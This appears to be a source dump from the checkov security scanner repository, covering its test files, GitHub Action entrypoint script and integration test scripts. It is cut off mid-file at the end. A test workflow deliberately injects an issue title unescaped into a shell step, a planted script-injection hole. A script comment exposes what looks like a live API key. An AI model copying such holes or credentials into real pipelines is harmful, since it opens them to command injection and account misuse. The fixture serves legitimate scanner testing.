flake8_plugins/flake8_class_attributes_plugin/tests/test_handler.py ================================================ from . conftest import run_validator_for_test_file def test_file_with_class_attribute(): errors = run_validator_for_test_file('class_attribute_fail.py') assert len(errors) == 1 def test_file_with_class_const(): errors = run_validator_for_test_file('class_const_pass.py') assert len(errors) == 0 def test_file_with_class_special_attributes(): errors = run_validator_for_test_file('class_special_attributes_pass.py') assert len(errors) == 0 def test_dataclass_skip(): errors = run_validator_for_test_file('dataclass_skip.py') assert len(errors) == 0 def test_typing_class_skip(): errors = run_validator_for_test_file('typing_class_skip.py') assert len(errors) == 0 ================================================ FILE: github_action_resources/checkov-problem-matcher-softfail.json ================================================ { "problemMatcher": [ { "owner": "checkov", "pattern": [ { "regexp": "^Check: (\\w+: .*)$", "message": 1 }, { "regexp": "^\\WFAILED.*$" }, { "regexp": "^\\WFile: \/(.+):(\\d+)-(\\d+)$", "file": 1, "line": 2 } ], "severity": "error" } ] } ================================================ FILE: github_action_resources/checkov-problem-matcher.json ================================================ { "problemMatcher": [ { "owner": "checkov", "pattern": [ { "regexp": "^Check: (\\w+: .*)$", "message": 1 }, { "regexp": "^\\WFAILED.*$" }, { "regexp": "^\\WFile: \/(.+):(\\d+)-(\\d+)$", "file": 1, "line": 2 } ] } ] } ================================================ FILE: github_action_resources/entrypoint.sh ================================================ #!/bin/bash # Leverage the default env variables as described in: # https://docs.github.com/en/actions/reference/environment-variables#default-environment-variables if [[ $GITHUB_ACTIONS != "true" ]] then checkov "$@" exit $? fi matcher_path=`pwd`/checkov-problem-matcher.json warning_matcher_path=`pwd`/checkov-problem-matcher-softfail.json cp /usr/local/lib/checkov-problem-matcher.json "$matcher_path" cp /usr/local/lib/checkov-problem-matcher-softfail.json "$warning_matcher_path" export BC_SOURCE=githubActions if [ -n "$PRISMA_API_URL" ]; then export PRISMA_API_URL=$PRISMA_API_URL fi # Actions pass inputs as $INPUT_ environment variables # [[ -n "$INPUT_SKIP_CHECK" ]] && SKIP_CHECK_FLAG="--skip-check $INPUT_SKIP_CHECK" [[ -n "$INPUT_FRAMEWORK" ]] && FRAMEWORK_FLAG="--framework $INPUT_FRAMEWORK" [[ -n "$INPUT_SKIP_FRAMEWORK" ]] && SKIP_FRAMEWORK_FLAG="--skip-framework $INPUT_SKIP_FRAMEWORK" [[ -n "$INPUT_OUTPUT_FILE_PATH" ]] && OUTPUT_FILE_PATH_FLAG="--output-file-path $INPUT_OUTPUT_FILE_PATH" [[ -n "$INPUT_BASELINE" ]] && BASELINE_FLAG="--baseline $INPUT_BASELINE" [[ -n "$INPUT_CONFIG_FILE" ]] && CONFIG_FILE_FLAG="--config-file $INPUT_CONFIG_FILE" [[ -n "$INPUT_SOFT_FAIL_ON" ]] && SOFT_FAIL_ON_FLAG="--soft-fail-on $INPUT_SOFT_FAIL_ON" [[ -n "$INPUT_HARD_FAIL_ON" ]] && HARD_FAIL_ON_FLAG="--hard-fail-on $INPUT_HARD_FAIL_ON" [[ -n "$INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT" ]] && INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT_FLAG="--repo-root-for-plan-enrichment $INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT" [[ -n "$INPUT_POLICY_METADATA_FILTER" ]] && POLICY_METADATA_FILTER_FLAG="--policy-metadata-filter $INPUT_POLICY_METADATA_FILTER" [[ -n "$INPUT_POLICY_METADATA_FILTER_EXCEPTION" ]] && POLICY_METADATA_FILTER_EXCEPTION_FLAG="--policy-metadata-filter-exception $INPUT_POLICY_METADATA_FILTER_EXCEPTION" if [ -n "$INPUT_OUTPUT_BC_IDS" ] && [ "$INPUT_OUTPUT_BC_IDS" = "true" ]; then OUTPUT_BC_IDS_FLAG="--output-bc-ids" fi if [ -n "$INPUT_COMPACT" ] && [ "$INPUT_COMPACT" = "true" ]; then COMPACT_FLAG="--compact" fi if [ -n "$INPUT_QUIET" ] && [ "$INPUT_QUIET" = "true" ]; then QUIET_FLAG="--quiet" fi if [ -n "$INPUT_DOWNLOAD_EXTERNAL_MODULES" ] && [ "$INPUT_DOWNLOAD_EXTERNAL_MODULES" = "true" ]; then DOWNLOAD_EXTERNAL_MODULES_FLAG="--download-external-modules true" fi if [ -n "$INPUT_SOFT_FAIL" ] && [ "$INPUT_SOFT_FAIL" = "true" ]; then SOFT_FAIL_FLAG="--soft-fail" fi if [ -n "$INPUT_USE_ENFORCEMENT_RULES" ] && [ "$INPUT_USE_ENFORCEMENT_RULES" = "true" ]; then USE_ENFORCEMENT_RULES_FLAG="--use-enforcement-rules" fi if [ -n "$INPUT_ENABLE_SECRETS_SCAN_ALL_FILES" ] && [ "$INPUT_ENABLE_SECRETS_SCAN_ALL_FILES" = "true" ]; then ENABLE_SECRETS_SCAN_ALL_FILES="--enable-secret-scan-all-files" fi if [ -n "$INPUT_SKIP_RESULTS_UPLOAD" ] && [ "$INPUT_SKIP_RESULTS_UPLOAD" = "true" ]; then SKIP_RESULTS_UPLOAD_FLAG="--skip-results-upload" fi if [ -n "$INPUT_SKIP_DOWNLOAD" ] && [ "$INPUT_SKIP_DOWNLOAD" = "true" ]; then SKIP_DOWNLOAD_FLAG="--skip-download" fi if [ -n "$INPUT_DEEP_ANALYSIS" ] && [ "$INPUT_DEEP_ANALYSIS" = "true" ]; then INPUT_DEEP_ANALYSIS_FLAG="--deep-analysis" fi if [ -n "$INPUT_LOG_LEVEL" ]; then export LOG_LEVEL=$INPUT_LOG_LEVEL fi # # Following inputs need to be separated by comma and added via multiple flags # EXTCHECK_DIRS_FLAG="" if [ -n "$INPUT_EXTERNAL_CHECKS_DIRS" ]; then IFS=', ' read -r -a extchecks_dir <<< "$INPUT_EXTERNAL_CHECKS_DIRS" for d in "${extchecks_dir[@]}" do EXTCHECK_DIRS_FLAG="$EXTCHECK_DIRS_FLAG --external-checks-dir $d" done fi CHECK_FLAG="" if [ -n "$INPUT_CHECK" ]; then IFS=', ' read -r -a checks <<< "$INPUT_CHECK" for d in "${checks[@]}" do CHECK_FLAG="$CHECK_FLAG --check $d" done fi EXTCHECK_REPOS_FLAG="" if [ -n "$INPUT_EXTERNAL_CHECKS_REPOS" ]; then IFS=', ' read -r -a extchecks_git <<< "$INPUT_EXTERNAL_CHECKS_REPOS" for repo in "${extchecks_git[@]}" do EXTCHECK_REPOS_FLAG="$EXTCHECK_REPOS_FLAG --external-checks-git $repo" done fi OUTPUT_FLAG="" if [ -n "$INPUT_OUTPUT_FORMAT" ]; then IFS=', ' read -r -a output_format <<< "$INPUT_OUTPUT_FORMAT" for format in "${output_format[@]}" do OUTPUT_FLAG="$OUTPUT_FLAG --output $format" done fi VAR_FILE_FLAG="" if [ -n "$INPUT_VAR_FILE" ]; then IFS=', ' read -r -a var_files <<< "$INPUT_VAR_FILE" for var_file in "${var_files[@]}" do VAR_FILE_FLAG="$VAR_FILE_FLAG --var-file $var_file" done fi SKIP_PATH_FLAG="" if [ -n "$INPUT_SKIP_PATH" ]; then IFS=', ' read -r -a skip_paths <<< "$INPUT_SKIP_PATH" for skip_path in "${skip_paths[@]}" do SKIP_PATH_FLAG="$SKIP_PATH_FLAG --skip-path $skip_path" done fi SKIP_CVE_PACKAGE_FLAG="" if [ -n "$INPUT_SKIP_CVE_PACKAGE" ]; then IFS=', ' read -r -a skip_cve_packages <<< "$INPUT_SKIP_CVE_PACKAGE" for skip_cve_package in "${skip_cve_packages[@]}" do SKIP_CVE_PACKAGE_FLAG="$SKIP_CVE_PACKAGE_FLAG --skip-cve-package $skip_cve_package" done fi if [[ -z "$INPUT_SOFT_FAIL" ]]; then echo "::add-matcher::checkov-problem-matcher.json" else echo "::add-matcher::checkov-problem-matcher-softfail.json" fi API_KEY=${API_KEY_VARIABLE} GIT_BRANCH=${GITHUB_HEAD_REF:="$GITHUB_REF_NAME"} GIT_BRANCH=${GIT_BRANCH:=master} export BC_FROM_BRANCH=${GIT_BRANCH} export BC_TO_BRANCH=${GITHUB_BASE_REF} export BC_PR_ID=$(echo $GITHUB_REF | awk 'BEGIN { FS = "/" } ; { print $3 }') export BC_PR_URL="${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/pull/${BC_PR_ID}" export BC_COMMIT_HASH=${GITHUB_SHA} export BC_COMMIT_URL="${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/commit/${GITHUB_SHA}" export BC_AUTHOR_NAME=${GITHUB_ACTOR} export BC_AUTHOR_URL="${GITHUB_SERVER_URL}/${BC_AUTHOR_NAME}" export BC_RUN_ID=${GITHUB_RUN_NUMBER} export BC_RUN_URL="${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/actions/runs/${GITHUB_RUN_ID}" export BC_REPOSITORY_URL="${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}" echo "BC_FROM_BRANCH=${GIT_BRANCH}" echo "BC_TO_BRANCH=${GITHUB_BASE_REF}" echo "BC_PR_ID=$(echo $GITHUB_REF | awk 'BEGIN { FS = "/" } ; { print $3 }')" echo "BC_PR_URL="${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/pull/${BC_PR_ID}"" echo "BC_COMMIT_HASH=${GITHUB_SHA}" echo "BC_COMMIT_URL="${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/commit/${GITHUB_SHA}"" echo "BC_AUTHOR_NAME=${GITHUB_ACTOR}" echo "BC_AUTHOR_URL="${GITHUB_SERVER_URL}/${BC_AUTHOR_NAME}"" echo "BC_RUN_ID=${GITHUB_RUN_NUMBER}" echo "BC_RUN_URL="${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/actions/runs/${GITHUB_RUN_ID}"" echo "BC_REPOSITORY_URL="${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}"" # Overrides all GitHub URLs with the provided PAT (needed for downloading private modules from GitHub) # This is meant to be a last resort, if our internal mechanism doesn't work if [ -n "$GITHUB_OVERRIDE_URL" ] && [ "$GITHUB_OVERRIDE_URL" = "true" ]; then git config --global url."https://x-access-token:${GITHUB_PAT}@github.com/".insteadOf "https://github.com/" fi # If Docker image is used, default to that if [ -n "$INPUT_DOCKER_IMAGE" ]; then DOCKER_IMAGE_FLAG="--docker-image $INPUT_DOCKER_IMAGE" DOCKERFILE_PATH_FLAG="--dockerfile-path $INPUT_DOCKERFILE_PATH" echo "checkov --bc-api-key --branch $GIT_BRANCH --repo-id $GITHUB_REPOSITORY $DOCKER_IMAGE_FLAG $DOCKERFILE_PATH_FLAG $OUTPUT_FLAG $OUTPUT_FILE_PATH_FLAG" CHECKOV_RESULTS=$(checkov --bc-api-key $API_KEY_VARIABLE --branch $GIT_BRANCH --repo-id $GITHUB_REPOSITORY $DOCKER_IMAGE_FLAG $DOCKERFILE_PATH_FLAG $OUTPUT_FLAG $OUTPUT_FILE_PATH_FLAG) # Else if File Variable exists then use -f flag to scan specific resources else if [ -n "$INPUT_FILE" ]; then RESOURCE_TO_SCAN="-f $INPUT_FILE" echo "running checkov on file: $INPUT_FILE" else # Otherwise exists then use -d flag for directory scanning RESOURCE_TO_SCAN="-d $INPUT_DIRECTORY" echo "running checkov on directory: $INPUT_DIRECTORY" fi # Build command if [ -n "$API_KEY_VARIABLE" ]; then echo "checkov --bc-api-key XXXXXXXXX-XXX-XXXXX --branch $GIT_BRANCH --repo-id $GITHUB_REPOSITORY $RESOURCE_TO_SCAN $CHECK_FLAG $SKIP_CHECK_FLAG $COMPACT_FLAG $QUIET_FLAG $SOFT_FAIL_FLAG $USE_ENFORCEMENT_RULES_FLAG $SKIP_RESULTS_UPLOAD_FLAG $SKIP_DOWNLOAD_FLAG $ENABLE_SECRETS_SCAN_ALL_FILES $EXTCHECK_DIRS_FLAG $EXTCHECK_REPOS_FLAG $OUTPUT_FLAG $OUTPUT_FILE_PATH_FLAG $OUTPUT_BC_IDS_FLAG $DOWNLOAD_EXTERNAL_MODULES_FLAG $CONFIG_FILE_FLAG $SOFT_FAIL_ON_FLAG $HARD_FAIL_ON_FLAG $FRAMEWORK_FLAG $SKIP_FRAMEWORK_FLAG $SKIP_CVE_PACKAGE_FLAG $BASELINE_FLAG $VAR_FILE_FLAG $POLICY_METADATA_FILTER_FLAG $POLICY_METADATA_FILTER_EXCEPTION_FLAG $INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT_FLAG $INPUT_DEEP_ANALYSIS_FLAG $SKIP_PATH_FLAG" CHECKOV_RESULTS=$(checkov --bc-api-key $API_KEY_VARIABLE --branch $GIT_BRANCH --repo-id $GITHUB_REPOSITORY $RESOURCE_TO_SCAN $CHECK_FLAG $SKIP_CHECK_FLAG $COMPACT_FLAG $QUIET_FLAG $SOFT_FAIL_FLAG $USE_ENFORCEMENT_RULES_FLAG $SKIP_RESULTS_UPLOAD_FLAG $SKIP_DOWNLOAD_FLAG $ENABLE_SECRETS_SCAN_ALL_FILES $EXTCHECK_DIRS_FLAG $EXTCHECK_REPOS_FLAG $OUTPUT_FLAG $OUTPUT_FILE_PATH_FLAG $OUTPUT_BC_IDS_FLAG $DOWNLOAD_EXTERNAL_MODULES_FLAG $CONFIG_FILE_FLAG $SOFT_FAIL_ON_FLAG $HARD_FAIL_ON_FLAG $FRAMEWORK_FLAG $SKIP_FRAMEWORK_FLAG $SKIP_CVE_PACKAGE_FLAG $BASELINE_FLAG $VAR_FILE_FLAG $POLICY_METADATA_FILTER_FLAG $POLICY_METADATA_FILTER_EXCEPTION_FLAG $INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT_FLAG $INPUT_DEEP_ANALYSIS_FLAG $SKIP_PATH_FLAG) else echo "checkov $RESOURCE_TO_SCAN $CHECK_FLAG $SKIP_CHECK_FLAG $COMPACT_FLAG $QUIET_FLAG $SOFT_FAIL_FLAG $USE_ENFORCEMENT_RULES_FLAG $SKIP_RESULTS_UPLOAD_FLAG $SKIP_DOWNLOAD_FLAG $ENABLE_SECRETS_SCAN_ALL_FILES $EXTCHECK_DIRS_FLAG $EXTCHECK_REPOS_FLAG $OUTPUT_FLAG $OUTPUT_FILE_PATH_FLAG $OUTPUT_BC_IDS_FLAG $DOWNLOAD_EXTERNAL_MODULES_FLAG $CONFIG_FILE_FLAG $SOFT_FAIL_ON_FLAG $HARD_FAIL_ON_FLAG $FRAMEWORK_FLAG $SKIP_FRAMEWORK_FLAG $SKIP_CVE_PACKAGE_FLAG $BASELINE_FLAG $VAR_FILE_FLAG $POLICY_METADATA_FILTER_FLAG $POLICY_METADATA_FILTER_EXCEPTION_FLAG $INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT_FLAG $INPUT_DEEP_ANALYSIS_FLAG $SKIP_PATH_FLAG" CHECKOV_RESULTS=$(checkov $RESOURCE_TO_SCAN $CHECK_FLAG $SKIP_CHECK_FLAG $COMPACT_FLAG $QUIET_FLAG $SOFT_FAIL_FLAG $USE_ENFORCEMENT_RULES_FLAG $SKIP_RESULTS_UPLOAD_FLAG $SKIP_DOWNLOAD_FLAG $ENABLE_SECRETS_SCAN_ALL_FILES $EXTCHECK_DIRS_FLAG $EXTCHECK_REPOS_FLAG $OUTPUT_FLAG $OUTPUT_FILE_PATH_FLAG $OUTPUT_BC_IDS_FLAG $DOWNLOAD_EXTERNAL_MODULES_FLAG $CONFIG_FILE_FLAG $SOFT_FAIL_ON_FLAG $HARD_FAIL_ON_FLAG $FRAMEWORK_FLAG $SKIP_FRAMEWORK_FLAG $SKIP_CVE_PACKAGE_FLAG $BASELINE_FLAG $VAR_FILE_FLAG $POLICY_METADATA_FILTER_FLAG $POLICY_METADATA_FILTER_EXCEPTION_FLAG $INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT_FLAG $INPUT_DEEP_ANALYSIS_FLAG $SKIP_PATH_FLAG) fi fi CHECKOV_EXIT_CODE=$? # print to console echo "${CHECKOV_RESULTS}" CHECKOV_RESULTS="${CHECKOV_RESULTS//$'\\n'/''}" # save output to GitHub files for further usage EOF=$(dd if=/dev/urandom bs=15 count=1 status=none | base64) { echo "CHECKOV_RESULTS<<$EOF"; echo "${CHECKOV_RESULTS:0:65536}"; echo "$EOF"; } >> $GITHUB_ENV { echo "results<<$EOF"; echo "$CHECKOV_RESULTS"; echo "$EOF"; } >> $GITHUB_OUTPUT if [ -n "$INPUT_DOWNLOAD_EXTERNAL_MODULES" ] && [ "$INPUT_DOWNLOAD_EXTERNAL_MODULES" = "true" ]; then echo "Cleaning up $INPUT_DIRECTORY/.external_modules directory" #This directory must be removed here for the self hosted github runners run as non-root user. rm -fr $INPUT_DIRECTORY/.external_modules exit $CHECKOV_EXIT_CODE fi exit $CHECKOV_EXIT_CODE ================================================ FILE: integration_tests/__init__.py ================================================ ================================================ FILE: integration_tests/example_config_files/config.yaml ================================================ --- # Test comment. framework: terraform output: json ================================================ FILE: integration_tests/example_ext_private_modules/main.tf ================================================ module "s3_bucket" { source = "github.com/ckv-tests/terraform-aws-s3-bucket-private" version = "0.0.1" acl = "public" enabled = true } module "s3-bucket1" { source = "app.terraform.io/panw-bridgecrew/s3-bucket1/aws" version = "0.0.2" } ================================================ FILE: integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml ================================================ on: pull_request name: unsecure-worfklow jobs: my_job: container: image: node:14.16 env: NODE_ENV: development ports: - 80 volumes: - my_docker_volume:/volume_mount options: --cpus 1 my_job2: container: image: node:14.1 env: NODE_ENV: development ports: - 80 volumes: - my_docker_volume:/volume_mount options: --cpus 1 unsecure-job: name: job1 runs-on: ubuntu-latest run: | title="${{ github.event.issue.title }}" if [[ ! $title =~ ^.*:\ .*$ ]]; then echo "Bad issue title" exit 1 fi secure-job: name: job2 runs-on: ubuntu-latest run: | echo "foo" ================================================ FILE: integration_tests/example_workflow_file/bitbucket/bitbucket-pipelines.yml ================================================ image: node:10.15.0 pipelines: default: - step: name: Build and test image: node:10.0.0 script: - npm install - npm test - npm run build artifacts: - dist/** - step: name: Deploy image: python:3.7.2 trigger: manual script: - python deploy.py custom: sonar: - step: image: python:latest script: - echo "Manual triggers for Sonar are awesome!" deployment-to-prod: - step: script: - echo "Manual triggers for deployments are awesome!" branches: staging: - step: script: - echo "Auto pipelines are cool too." ================================================ FILE: integration_tests/prepare_data.sh ================================================ #!/bin/bash echo "Received $1 and then $2" if [[ "$1" == "windows-latest" ]] then pipenv run checkov -s --framework terraform -d terragoat\\terraform\\ -o json > checkov_report_terragoat.json pipenv run checkov -s --framework terraform -d terragoat\\terraform\\ -o junitxml > checkov_report_terragoat.xml pipenv run checkov -s --framework cloudformation -d cfngoat\\ -o json --external-checks-dir .\\checkov\\cloudformation\\checks\\graph_checks\\aws > checkov_report_cfngoat.json pipenv run checkov -s -d kubernetes-goat\\ --framework kubernetes -o json > checkov_report_kubernetes-goat.json pipenv run checkov -s --framework terraform -d terragoat\\terraform\\ -o cyclonedx > checkov_report_terragoat_cyclonedx.xml pipenv run checkov -s --framework terraform -d terragoat\\terraform\\ -o sarif # LOG_LEVEL=DEBUG pipenv run checkov -s -d kubernetes-goat\\ --framework helm -o json > checkov_report_kubernetes-goat-helm.json pipenv run checkov -s --framework terraform --skip-check CKV_AWS_33,CKV_AWS_41 -d terragoat\\terraform\\ -o json > checkov_report_terragoat_with_skip.json pipenv run checkov -s --framework cloudformation -d cfngoat\\ -o json --quiet > checkov_report_cfngoat_quiet.json pipenv run checkov -s -d terragoat\\terraform\\ --config-file integration_tests\\example_config_files\\config.yaml -o json > checkov_config_report_terragoat.json else pipenv run checkov -s --framework terraform -d terragoat/terraform/ -o json > checkov_report_terragoat.json pipenv run checkov -s --framework terraform -d terragoat/terraform/ -o junitxml > checkov_report_terragoat.xml pipenv run checkov -s --framework terraform -d terragoat/terraform/ -o cyclonedx > checkov_report_terragoat_cyclonedx.xml pipenv run checkov -s --framework terraform -d terragoat/terraform/ -o sarif pipenv run checkov -s --framework cloudformation -d cfngoat/ -o json --external-checks-dir ./checkov/cloudformation/checks/graph_checks/aws > checkov_report_cfngoat.json pipenv run checkov -s -d kubernetes-goat/ --framework kubernetes -o json > checkov_report_kubernetes-goat.json pipenv run checkov -s -d kubernetes-goat/ --framework helm -o json > checkov_report_kubernetes-goat-helm.json pipenv run checkov -s -d kustomizegoat/ --framework kustomize -o json > checkov_report_kustomizegoat.json pipenv run checkov -s --framework terraform --skip-check CKV_AWS_33,CKV_AWS_41 -d terragoat/terraform/ -o json > checkov_report_terragoat_with_skip.json pipenv run checkov -s --framework cloudformation -d cfngoat/ -o json --quiet > checkov_report_cfngoat_quiet.json pipenv run checkov -s -d terragoat/terraform/ --config-file integration_tests/example_config_files/config.yaml -o json > checkov_config_report_terragoat.json fi if [[ "$2" == "3.9" && "$1" == "ubuntu-latest" ]] then pipenv run checkov -s -f terragoat/terraform/aws/s3.tf --repo-id checkov/integration_test --bc-api-key $BC_KEY > checkov_report_s3_singlefile_api_key_terragoat.txt pipenv run checkov -s -d terragoat/terraform/azure/ --repo-id checkov/integration_test --bc-api-key $BC_KEY > checkov_report_azuredir_api_key_terragoat.txt pipenv run checkov -s -d terragoat/terraform/azure/ --repo-id checkov/integration_test --skip-results-upload --bc-api-key $BC_KEY > checkov_report_azuredir_api_key_terragoat_no_upload.txt echo "running image referencing" pipenv run checkov -s -d integration_tests/example_workflow_file/bitbucket/ -o json --repo-id checkov/integration_test --bc-api-key $BC_KEY --include-all-checkov-policies > checkov_report_bitbucket_pipelines_cve.json echo "running list" pipenv run checkov --list --bc-api-key $BC_KEY --output-bc-ids > checkov_checks_list.txt echo "running tfc" # GITHUB_PAT="$GITHUB_PAT" TF_REGISTRY_TOKEN="$TFC_TOKEN" pipenv run checkov -s -d integration_tests/example_ext_private_modules/ --download-external-modules True fi ================================================ FILE: integration_tests/run_integration_tests.sh ================================================ #!/bin/bash # In order to run this script set the following environment variables: # BC_API_URL - your API url. # BC_KEY - generate API key via Platform. # # The working dir should be the checkov project dir. # For example: on /Users/ajbara/dev2/checkov dir run BC_API_URL=https://ws342vj2ze.execute-api.us-west-2.amazonaws.com/v1 BC_KEY=e74ebcef-e4fc-4b35-b7f9-1f5bd5c336a6 LOG_LEVEL=Info /Users/ajbara/dev2/checkov/integration_tests/run_integration_tests.sh prepare_data () { python checkov/main.py -s --framework terraform -d repositories/terragoat/terraform/ -o json > checkov_report_terragoat.json python checkov/main.py -s --framework terraform -d repositories/terragoat/terraform/ -o junitxml > checkov_report_terragoat.xml python checkov/main.py -s --framework terraform -d repositories/terragoat/terraform/ -o cyclonedx > checkov_report_terragoat_cyclonedx.xml python checkov/main.py -s --framework terraform -d repositories/terragoat/terraform/ -o sarif python checkov/main.py -s --framework cloudformation -d repositories/cfngoat/ -o json --external-checks-dir ./checkov/cloudformation/checks/graph_checks/aws > checkov_report_cfngoat.json python checkov/main.py -s -d repositories/kubernetes-goat/ --framework kubernetes -o json > checkov_report_kubernetes-goat.json python checkov/main.py -s -d repositories/kubernetes-goat/ --framework helm -o json > checkov_report_kubernetes-goat-helm.json python checkov/main.py -s -d repositories/kustomizegoat/ --framework kustomize -o json > checkov_report_kustomizegoat.json python checkov/main.py -s --framework terraform --skip-check CKV_AWS_33,CKV_AWS_41 -d repositories/terragoat/terraform/ -o json > checkov_report_terragoat_with_skip.json python checkov/main.py -s --framework cloudformation -d repositories/cfngoat/ -o json --quiet > checkov_report_cfngoat_quiet.json python checkov/main.py -s -d repositories/terragoat/terraform/ --config-file integration_tests/example_config_files/config.yaml -o json > checkov_config_report_terragoat.json python checkov/main.py -s -f repositories/terragoat/terraform/aws/s3.tf --repo-id checkov/integration_test --bc-api-key $BC_KEY > checkov_report_s3_singlefile_api_key_terragoat.txt python checkov/main.py -s -d repositories/terragoat/terraform/azure/ --repo-id checkov/integration_test --bc-api-key $BC_KEY > checkov_report_azuredir_api_key_terragoat.txt python checkov/main.py -s -d integration_tests/example_workflow_file/bitbucket/ -o json --repo-id checkov/integration_test --bc-api-key $BC_KEY --include-all-checkov-policies > checkov_report_bitbucket_pipelines_cve.json python checkov/main.py --list --bc-api-key $BC_KEY --output-bc-ids > checkov_checks_list.txt } clone_repositories () { echo Clone Terragoat - vulnerable terraform; git clone https://github.com/bridgecrewio/terragoat test -d ./terragoat || { echo 'terragoat dir does not exist, please check your git connection and try again.'; exit 1; }; echo Clone Cfngoat - vulnerable cloudformation; git clone https://github.com/bridgecrewio/cfngoat echo Clone Kubernetes-goat - vulnerable kubernetes; git clone https://github.com/madhuakula/kubernetes-goat echo Clone kustomize-goat - vulnerable kustomize; git clone https://github.com/bridgecrewio/kustomizegoat } delete_repositories () { rm -rf repositories } delete_reports () { rm -r checkov_report* rm -r checkov_config_report_terragoat* rm results.sarif rm checkov_checks_list.txt } echo $BC_KEY if [[ -z "$BC_KEY" ]]; then echo "BC_API_KEY is missing." exit 1 fi echo $BC_API_URL if [[ -z "$BC_API_URL" ]]; then echo "BC_API_URL is missing." exit 1 fi # Create repositories dir mkdir repositories cd repositories echo "Cloning repositories" clone_repositories cd .. if [ ! -z "$VIRTUAL_ENV" ]; then deactivate fi #activate virtual env ENV_PATH=$(pipenv --venv) echo $ENV_PATH source $ENV_PATH/bin/activate working_dir=$(pwd) # should be the path of local checkov project export PYTHONPATH="$working_dir/checkov:$PYTHONPATH" prepare_data #Run integration tests. pytest integration_tests deactivate echo "Deleting reports and repositories." delete_reports delete_repositories ================================================ FILE: integration_tests/test_checkov_cli_integration_report.py ================================================ import json import os import platform import sys import unittest current_dir = os.path.dirname(os.path.realpath(__file__)) class TestCheckovJsonReport(unittest.TestCase): def test_terragoat_report_dir_api_key(self): report_path = os.path.join(current_dir, '..', 'checkov_report_azuredir_api_key_terragoat.txt') self.validate_report(os.path.abspath(report_path)) def test_terragoat_report_dir_no_upload_api_key(self): report_path = os.path.join(current_dir, '..', 'checkov_report_azuredir_api_key_terragoat_no_upload.txt') self.validate_report(os.path.abspath(report_path), False) def test_terragoat_report_file_api_key(self): report_path = os.path.join(current_dir, '..', 'checkov_report_s3_singlefile_api_key_terragoat.txt') self.validate_report(os.path.abspath(report_path)) def validate_report(self, report_path, url_should_exist=True): if sys.version_info[1] == 8 and platform.system() == 'Linux': platform_url_found = False with open(report_path) as f: if 'More details: https://app0.prismacloud.io/projects?' in f.read(): platform_url_found = True self.assertEqual(platform_url_found, url_should_exist, "when using api key and not --skip-results-upload, platform code review url should exist") def test_bitbucket_pipelines_report_api_key(self): report_path = os.path.join(current_dir, '..', 'checkov_report_bitbucket_pipelines_cve.json') # the below condition exist because checkov_report_bitbucket_pipelines_cve.json is # generated only on Linux with Python 3.8 - see prepare_data.sh script if sys.version_info[1] == 8 and platform.system() == 'Linux': with open(report_path, encoding='utf-8') as f: report = json.load(f) self.assertGreaterEqual(len(report), 1, "expecting to have one report at least - bitbucket_pipelines ") bitbucket_pipelines_actions_report_exists = False if report["check_type"] == "bitbucket_pipelines": bitbucket_pipelines_actions_report_exists = True self.assertGreaterEqual(report['summary']['failed'], 1) self.assertTrue(bitbucket_pipelines_actions_report_exists) if __name__ == '__main__': unittest.main() ================================================ FILE: integration_tests/test_checkov_config.py ================================================ import json import os import unittest from unittest import mock from checkov.common.logger_streams import LoggerStreams from checkov.logging_init import log_stream, erase_log_stream from checkov.main import Checkov from checkov.common.util.env_vars_config import env_vars_config current_dir = os.path.dirname(os.path.realpath(__file__)) class TestCheckovConfig(unittest.TestCase): def test_terragoat_report(self): # Report to be generated using following command: # checkov -d path/to/terragoat --config-file \ # path/to/checkov/integration_tests/example_config_files/config.yaml \ # > path/to/checkov/checkov_config_report_terragoat.json report_path = os.path.join(os.path.dirname(current_dir), "checkov_config_report_terragoat.json") with open(report_path) as json_file: data = json.load(json_file) self.assertEqual( data["summary"]["parsing_errors"], 0, f"expecting 0 parsing errors but got: {data['results']['parsing_errors']}", ) self.assertGreater( data["summary"]["failed"], 1, f"expecting more than 1 failed checks, got: {data['summary']['failed']}" ) self.assertEqual( data["check_type"], "terraform", f"expecting 'terraform' but got: {data['check_type']}" ) self.assertIsNotNone( data["results"]["failed_checks"][0]["guideline"], "expecting a guideline for checks." ) def setUp(self): erase_log_stream() # Clear any existing logs before each test self.logger_streams = LoggerStreams() self.stream_name = "test_stream" self.logger_streams.add_stream(self.stream_name, log_stream) def tearDown(self): erase_log_stream() # Ensure logs are cleared after each test def get_logged_messages(self): return self.logger_streams.get_streams().get(self.stream_name).getvalue() def test_missing_config_file(self): """Test when the provided config-file does not exist.""" env_vars_config.ENABLE_CONFIG_FILE_VALIDATION = True config_path = os.path.join('path', 'to', 'missing', 'config.yaml') argv = ["--config-file", config_path] with mock.patch("pathlib.Path.is_file", return_value=False): checkov_instance = Checkov(argv=argv) checkov_instance.parse_config() logged_messages = self.get_logged_messages() expected_message = f"The config file at '{config_path}' does not exist. Running without a config file." self.assertIn(expected_message, logged_messages) def test_no_config_file_argument(self): """Test when no --config-file argument is provided.""" env_vars_config.ENABLE_CONFIG_FILE_VALIDATION = True argv = [] checkov_instance = Checkov(argv=argv) checkov_instance.parse_config() logged_messages = self.get_logged_messages() self.assertNotIn("does not exist", logged_messages) if __name__ == "__main__": unittest.main() ================================================ FILE: integration_tests/test_checkov_cyclonedx_report.py ================================================ import os import unittest from xml.dom import minidom current_dir = os.path.dirname(os.path.realpath(__file__)) class TestCheckovCyclonedxReport(unittest.TestCase): def test_terragoat_report(self): report_path = os.path.join(os.path.dirname(current_dir), "checkov_report_terragoat_cyclonedx.xml") self.validate_report(os.path.abspath(report_path)) def validate_report(self, report_path: str) -> None: with open(report_path) as cyclonedx_file: data = minidom.parse(cyclonedx_file) self.validate_report_not_empty(data) def validate_report_not_empty(self, report): vulnrability_file = ( report.getElementsByTagNameNS("*", "vulnerabilities")[0] .getElementsByTagNameNS("*", "vulnerability")[0] 